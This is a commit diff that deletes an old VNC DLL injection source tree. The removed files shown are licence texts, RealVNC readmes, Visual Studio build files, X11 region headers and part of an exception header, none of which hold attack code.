Delete the old VNC source code.

git-svn-id: file:///home/svn/framework3/trunk@8744 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Stephen Fewer 2010-03-08 14:39:20 +00:00
parent 1c1fe9c20f
commit d0f2b589b6
187 changed files with 0 additions and 48628 deletions

View File

@ -1,2 +0,0 @@
Use the solutions file 'winvnc\VNC DLL Injection.sln' to build vncdll.dll
This build has only been tested with Visual Studio 2003.

View File

@ -1,32 +0,0 @@
The Reflective DLL Injection source code is provided under the BSD license:
Copyright (c) 2008, Harmony Security
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Harmony Security nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The RealVNC software (and patches) are licensed under the GPL

View File

@ -1,115 +0,0 @@
VNC Source Distribution for Windows platforms
=============================================
VNC is Copyright RealVNC Ltd. 2002 and Copyright AT&T Laboratories Cambridge
1996-2001. This software is distributed under the GNU General Public Licence
as published by the Free Software Foundation. See the accompanying licence.txt
file for the conditions under which the software is made available.
VNC also contains code from other sources. See the Acknowledgements section
below, and the individual files for details of the conditions under which
they are made available.
There are two programs here in the two subdirectories:
vncviewer - this is the VNC viewer, or client, program for Win32.
winvnc - this is the VNC server for Win32. It allows a Windows desktop
to be accessed remotely using a VNC viewer.
Both programs have been built using Microsoft Visual C++ 6.0, and appropriate
build settings are provided in this source distribution.
ACKNOWLEDGEMENTS
================
This distribution contains public domain zlib software by Jean-loup Gailly and Mark Adler.
This is:
Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler.
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Jean-loup Gailly Mark Adler
jloup@gzip.org madler@alumni.caltech.edu
The data format used by the zlib library is described by RFCs (Request for
Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
(zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
This distribution contains public domain DES software by Richard Outerbridge.
This is:
Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge.
(GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992.
This distribution contains Java DES software by Dave Zimmerman
<dzimm@widget.com> and Jef Poskanzer <jef@acme.com>. This is:
Copyright (c) 1996 Widget Workshop, Inc. All Rights Reserved.
Permission to use, copy, modify, and distribute this software and its
documentation for NON-COMMERCIAL or COMMERCIAL purposes and without fee
is hereby granted, provided that this copyright notice is kept intact.
WIDGET WORKSHOP MAKES NO REPRESENTATIONS OR WARRANTIES ABOUT THE
SUITABILITY OF THE SOFTWARE, EITHER EXPRESS OR IMPLIED, INCLUDING BUT
NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, OR NON-INFRINGEMENT. WIDGET WORKSHOP SHALL NOT BE
LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING,
MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES.
THIS SOFTWARE IS NOT DESIGNED OR INTENDED FOR USE OR RESALE AS ON-LINE
CONTROL EQUIPMENT IN HAZARDOUS ENVIRONMENTS REQUIRING FAIL-SAFE
PERFORMANCE, SUCH AS IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT
NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL, DIRECT LIFE
SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE
SOFTWARE COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE
PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). WIDGET
WORKSHOP SPECIFICALLY DISCLAIMS ANY EXPRESS OR IMPLIED WARRANTY OF
FITNESS FOR HIGH RISK ACTIVITIES.
Copyright (C) 1996 by Jef Poskanzer <jef@acme.com>. All rights
reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Visit the ACME Labs Java page for up-to-date versions of this and other
fine Java utilities: http://www.acme.com/java/

View File

@ -1,115 +0,0 @@
VNC Binary Distribution for Windows platforms
=============================================
VNC is Copyright RealVNC Ltd. 2002 and Copyright AT&T Laboratories Cambridge
1996-2001. This software is distributed under the GNU General Public Licence
as published by the Free Software Foundation. VNC also contains code from
other sources, as outlined in the Acknowledgements section below.
The installer package contains two VNC components:
VNCViewer - this is the VNC viewer, or client, program for Win32.
[Win9x, WinME, NT4, Win2000, WinXP]
WinVNC - this is the VNC server for Win32. It allows a Windows desktop
to be accessed remotely using a VNC viewer.
[Win9x, WinME, NT4, Win2000, WinXP(*)]
(*) Unless the in-built Fast User Switching or Remote Administration
features are used.
Both components were built using Microsoft Visual C++ 6.0, and are designed
to operate upon the Win32 platforms listed above.
ACKNOWLEDGEMENTS
================
This distribution contains public domain zlib software by Jean-loup Gailly and Mark Adler.
This is:
Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler.
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Jean-loup Gailly Mark Adler
jloup@gzip.org madler@alumni.caltech.edu
The data format used by the zlib library is described by RFCs (Request for
Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
(zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
This distribution contains public domain DES software by Richard Outerbridge.
This is:
Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge.
(GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992.
This distribution contains Java DES software by Dave Zimmerman
<dzimm@widget.com> and Jef Poskanzer <jef@acme.com>. This is:
Copyright (c) 1996 Widget Workshop, Inc. All Rights Reserved.
Permission to use, copy, modify, and distribute this software and its
documentation for NON-COMMERCIAL or COMMERCIAL purposes and without fee
is hereby granted, provided that this copyright notice is kept intact.
WIDGET WORKSHOP MAKES NO REPRESENTATIONS OR WARRANTIES ABOUT THE
SUITABILITY OF THE SOFTWARE, EITHER EXPRESS OR IMPLIED, INCLUDING BUT
NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, OR NON-INFRINGEMENT. WIDGET WORKSHOP SHALL NOT BE
LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING,
MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES.
THIS SOFTWARE IS NOT DESIGNED OR INTENDED FOR USE OR RESALE AS ON-LINE
CONTROL EQUIPMENT IN HAZARDOUS ENVIRONMENTS REQUIRING FAIL-SAFE
PERFORMANCE, SUCH AS IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT
NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL, DIRECT LIFE
SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE
SOFTWARE COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE
PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). WIDGET
WORKSHOP SPECIFICALLY DISCLAIMS ANY EXPRESS OR IMPLIED WARRANTY OF
FITNESS FOR HIGH RISK ACTIVITIES.
Copyright (C) 1996 by Jef Poskanzer <jef@acme.com>. All rights
reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Visit the ACME Labs Java page for up-to-date versions of this and other
fine Java utilities: http://www.acme.com/java/

File diff suppressed because it is too large Load Diff

View File

@ -1,104 +0,0 @@
# Microsoft Developer Studio Project File - Name="Xregion" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **
# TARGTYPE "Win32 (x86) Static Library" 0x0104
CFG=Xregion - Win32 Debug
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "Xregion.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "Xregion.mak" CFG="Xregion - Win32 Debug"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
!MESSAGE "Xregion - Win32 Release" (based on "Win32 (x86) Static Library")
!MESSAGE "Xregion - Win32 Debug" (based on "Win32 (x86) Static Library")
!MESSAGE
# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
RSC=rc.exe
!IF "$(CFG)" == "Xregion - Win32 Release"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "Release"
# PROP BASE Intermediate_Dir "Release"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Release"
# PROP Intermediate_Dir "Release"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LIB32=link.exe -lib
# ADD BASE LIB32 /nologo
# ADD LIB32 /nologo
!ELSEIF "$(CFG)" == "Xregion - Win32 Debug"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "Debug"
# PROP BASE Intermediate_Dir "Debug"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "Debug"
# PROP Intermediate_Dir "Debug"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c
# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c
# ADD BASE RSC /l 0x809 /d "_DEBUG"
# ADD RSC /l 0x809 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LIB32=link.exe -lib
# ADD BASE LIB32 /nologo
# ADD LIB32 /nologo
!ENDIF
# Begin Target
# Name "Xregion - Win32 Release"
# Name "Xregion - Win32 Debug"
# Begin Group "Source Files"
# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Source File
SOURCE=.\Region.c
# End Source File
# End Group
# Begin Group "Header Files"
# PROP Default_Filter "h;hpp;hxx;hm;inl"
# Begin Source File
SOURCE=.\region.h
# End Source File
# Begin Source File
SOURCE=.\Xregion.h
# End Source File
# End Group
# End Target
# End Project

View File

@ -1,214 +0,0 @@
/* $Xorg: Xutil.h,v 1.8 2001/02/09 02:03:39 xorgcvs Exp $ */
/***********************************************************
Copyright 1987, 1998 The Open Group
Permission to use, copy, modify, distribute, and sell this software and its
documentation for any purpose is hereby granted without fee, provided that
the above copyright notice appear in all copies and that both that
copyright notice and this permission notice appear in supporting
documentation.
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Except as contained in this notice, the name of The Open Group shall not be
used in advertising or otherwise to promote the sale, use or other dealings
in this Software without prior written authorization from The Open Group.
Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts.
All Rights Reserved
Permission to use, copy, modify, and distribute this software and its
documentation for any purpose and without fee is hereby granted,
provided that the above copyright notice appear in all copies and that
both that copyright notice and this permission notice appear in
supporting documentation, and that the name of Digital not be
used in advertising or publicity pertaining to distribution of the
software without specific, written prior permission.
DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
SOFTWARE.
******************************************************************/
/* $XFree86: xc/lib/X11/Xutil.h,v 3.4 2001/12/14 19:54:10 dawes Exp $ */
#ifndef _XREGION_H_
#define _XREGION_H_
// - Faked defines to fool the X11 region code
#include <stdlib.h>
#include <string.h>
#define Bool int
#define Xmalloc malloc
#define Xfree free
#define Xrealloc realloc
#define NeedFunctionPrototypes 1
// - Cribbed from Xlib.h
typedef struct {
short x, y;
} XPoint;
typedef struct {
short x, y;
unsigned short width, height;
} XRectangle;
//#include <Xregion/region.h>
/*
* opaque reference to Region data type
*/
typedef struct _XRegion *XRegion;
/* Return values from XRectInRegion() */
#define RectangleOut 0
#define RectangleIn 1
#define RectanglePart 2
#ifdef __cplusplus
extern "C" {
#endif
extern int XClipBox(
#if NeedFunctionPrototypes
XRegion /* r */,
XRectangle* /* rect_return */
#endif
);
extern XRegion XCreateRegion(
#if NeedFunctionPrototypes
void
#endif
);
extern const char *XDefaultString (void);
extern int XDestroyRegion(
#if NeedFunctionPrototypes
XRegion /* r */
#endif
);
extern int XEmptyRegion(
#if NeedFunctionPrototypes
XRegion /* r */
#endif
);
extern int XEqualRegion(
#if NeedFunctionPrototypes
XRegion /* r1 */,
XRegion /* r2 */
#endif
);
extern int XIntersectRegion(
#if NeedFunctionPrototypes
XRegion /* sra */,
XRegion /* srb */,
XRegion /* dr_return */
#endif
);
extern int XOffsetRegion(
#if NeedFunctionPrototypes
XRegion /* r */,
int /* dx */,
int /* dy */
#endif
);
extern Bool XPointInRegion(
#if NeedFunctionPrototypes
XRegion /* r */,
int /* x */,
int /* y */
#endif
);
extern XRegion XPolygonRegion(
#if NeedFunctionPrototypes
XPoint* /* points */,
int /* n */,
int /* fill_rule */
#endif
);
extern int XRectInRegion(
#if NeedFunctionPrototypes
XRegion /* r */,
int /* x */,
int /* y */,
unsigned int /* width */,
unsigned int /* height */
#endif
);
extern int XShrinkRegion(
#if NeedFunctionPrototypes
XRegion /* r */,
int /* dx */,
int /* dy */
#endif
);
extern int XSubtractRegion(
#if NeedFunctionPrototypes
XRegion /* sra */,
XRegion /* srb */,
XRegion /* dr_return */
#endif
);
extern int XUnionRectWithRegion(
#if NeedFunctionPrototypes
XRectangle* /* rectangle */,
XRegion /* src_region */,
XRegion /* dest_region_return */
#endif
);
extern int XUnionRegion(
#if NeedFunctionPrototypes
XRegion /* sra */,
XRegion /* srb */,
XRegion /* dr_return */
#endif
);
extern int XXorRegion(
#if NeedFunctionPrototypes
XRegion /* sra */,
XRegion /* srb */,
XRegion /* dr_return */
#endif
);
#ifdef __cplusplus
};
#endif
#endif /* _XUTIL_H_ */

View File

@ -1,128 +0,0 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="Xregion"
ProjectGUID="{2B336221-F3CC-4100-AFC6-FE6F7D1348A3}"
TargetFrameworkVersion="131072"
>
<Platforms>
<Platform
Name="Win32"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Release|Win32"
OutputDirectory=".\Release"
IntermediateDirectory=".\Release"
ConfigurationType="4"
InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
UseOfMFC="0"
ATLMinimizesCRunTimeLibraryUsage="false"
CharacterSet="2"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
PreprocessorDefinitions="WIN32;NDEBUG;_LIB"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
PrecompiledHeaderFile=".\Release/Xregion.pch"
AssemblerListingLocation=".\Release/"
ObjectFile=".\Release/"
ProgramDataBaseFileName=".\Release/"
WarningLevel="3"
SuppressStartupBanner="true"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="NDEBUG"
Culture="2057"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLibrarianTool"
OutputFile=".\Release\Xregion.lib"
SuppressStartupBanner="true"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
>
<File
RelativePath="Region.c"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
PreprocessorDefinitions=""
/>
</FileConfiguration>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl"
>
<File
RelativePath="region.h"
>
</File>
<File
RelativePath="Xregion.h"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

View File

@ -1,188 +0,0 @@
/* $Xorg: region.h,v 1.4 2001/02/09 02:03:40 xorgcvs Exp $ */
/************************************************************************
Copyright 1987, 1998 The Open Group
Permission to use, copy, modify, distribute, and sell this software and its
documentation for any purpose is hereby granted without fee, provided that
the above copyright notice appear in all copies and that both that
copyright notice and this permission notice appear in supporting
documentation.
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Except as contained in this notice, the name of The Open Group shall not be
used in advertising or otherwise to promote the sale, use or other dealings
in this Software without prior written authorization from The Open Group.
Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts.
All Rights Reserved
Permission to use, copy, modify, and distribute this software and its
documentation for any purpose and without fee is hereby granted,
provided that the above copyright notice appear in all copies and that
both that copyright notice and this permission notice appear in
supporting documentation, and that the name of Digital not be
used in advertising or publicity pertaining to distribution of the
software without specific, written prior permission.
DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
SOFTWARE.
************************************************************************/
#ifndef _XREGION_H
#define _XREGION_H
typedef struct {
short x1, x2, y1, y2;
} Box, BOX, BoxRec, *BoxPtr;
typedef struct {
short x, y, width, height;
}RECTANGLE, RectangleRec, *RectanglePtr;
#define TRUE 1
#define FALSE 0
#ifndef MAX
#define MAX(a,b) (((a) > (b)) ? (a) : (b))
#endif
#ifndef MIN
#define MIN(a,b) (((a) < (b)) ? (a) : (b))
#endif
/*
* clip region
*/
typedef struct _XRegion {
long size;
long numRects;
BOX *rects;
BOX extents;
} REGION;
/* Xutil.h contains the declaration:
* typedef struct _XRegion *Region;
*/
/* 1 if two BOXs overlap.
* 0 if two BOXs do not overlap.
* Remember, x2 and y2 are not in the region
*/
#define EXTENTCHECK(r1, r2) \
((r1)->x2 > (r2)->x1 && \
(r1)->x1 < (r2)->x2 && \
(r1)->y2 > (r2)->y1 && \
(r1)->y1 < (r2)->y2)
/*
* update region extents
*/
#define EXTENTS(r,idRect){\
if((r)->x1 < (idRect)->extents.x1)\
(idRect)->extents.x1 = (r)->x1;\
if((r)->y1 < (idRect)->extents.y1)\
(idRect)->extents.y1 = (r)->y1;\
if((r)->x2 > (idRect)->extents.x2)\
(idRect)->extents.x2 = (r)->x2;\
if((r)->y2 > (idRect)->extents.y2)\
(idRect)->extents.y2 = (r)->y2;\
}
/*
* Check to see if there is enough memory in the present region.
*/
#define MEMCHECK(reg, rect, firstrect){\
if ((reg)->numRects >= ((reg)->size - 1)){\
(firstrect) = (BOX *) Xrealloc \
((char *)(firstrect), (unsigned) (2 * (sizeof(BOX)) * ((reg)->size)));\
if ((firstrect) == 0)\
return(0);\
(reg)->size *= 2;\
(rect) = &(firstrect)[(reg)->numRects];\
}\
}
/* this routine checks to see if the previous rectangle is the same
* or subsumes the new rectangle to add.
*/
#define CHECK_PREVIOUS(Reg, R, Rx1, Ry1, Rx2, Ry2)\
(!(((Reg)->numRects > 0)&&\
((R-1)->y1 == (Ry1)) &&\
((R-1)->y2 == (Ry2)) &&\
((R-1)->x1 <= (Rx1)) &&\
((R-1)->x2 >= (Rx2))))
/* add a rectangle to the given Region */
#define ADDRECT(reg, r, rx1, ry1, rx2, ry2){\
if (((rx1) < (rx2)) && ((ry1) < (ry2)) &&\
CHECK_PREVIOUS((reg), (r), (rx1), (ry1), (rx2), (ry2))){\
(r)->x1 = (rx1);\
(r)->y1 = (ry1);\
(r)->x2 = (rx2);\
(r)->y2 = (ry2);\
EXTENTS((r), (reg));\
(reg)->numRects++;\
(r)++;\
}\
}
/* add a rectangle to the given Region */
#define ADDRECTNOX(reg, r, rx1, ry1, rx2, ry2){\
if ((rx1 < rx2) && (ry1 < ry2) &&\
CHECK_PREVIOUS((reg), (r), (rx1), (ry1), (rx2), (ry2))){\
(r)->x1 = (rx1);\
(r)->y1 = (ry1);\
(r)->x2 = (rx2);\
(r)->y2 = (ry2);\
(reg)->numRects++;\
(r)++;\
}\
}
#define EMPTY_REGION(pReg) pReg->numRects = 0
#define REGION_NOT_EMPTY(pReg) pReg->numRects
#define INBOX(r, x, y) \
( ( ((r).x2 > x)) && \
( ((r).x1 <= x)) && \
( ((r).y2 > y)) && \
( ((r).y1 <= y)) )
/*
* number of points to buffer before sending them off
* to scanlines() : Must be an even number
*/
#define NUMPTSTOBUFFER 200
/*
* used to allocate buffers for points and link
* the buffers together
*/
typedef struct _POINTBLOCK {
XPoint pts[NUMPTSTOBUFFER];
struct _POINTBLOCK *next;
} POINTBLOCK;
#endif

View File

@ -1,71 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#ifndef __RDR_EXCEPTION_H__
#define __RDR_EXCEPTION_H__
#include <stdio.h>
#include <string.h>
namespace rdr {
struct Exception {
enum { len = 256 };
char str_[len];
Exception(const char* s=0, const char* e="rdr::Exception") {
str_[0] = 0;
strncat(str_, e, len-1);
if (s) {
strncat(str_, ": ", len-1-strlen(str_));
strncat(str_, s, len-1-strlen(str_));
}
}
virtual const char* str() const { return str_; }
};
struct SystemException : public Exception {
int err;
SystemException(const char* s, int err_) : err(err_) {
str_[0] = 0;
strncat(str_, "rdr::SystemException: ", len-1);
strncat(str_, s, len-1-strlen(str_));
strncat(str_, ": ", len-1-strlen(str_));
strncat(str_, strerror(err), len-1-strlen(str_));
strncat(str_, " (", len-1-strlen(str_));
char buf[20];
sprintf(buf,"%d",err);
strncat(str_, buf, len-1-strlen(str_));
strncat(str_, ")", len-1-strlen(str_));
}
};
struct TimedOut : public Exception {
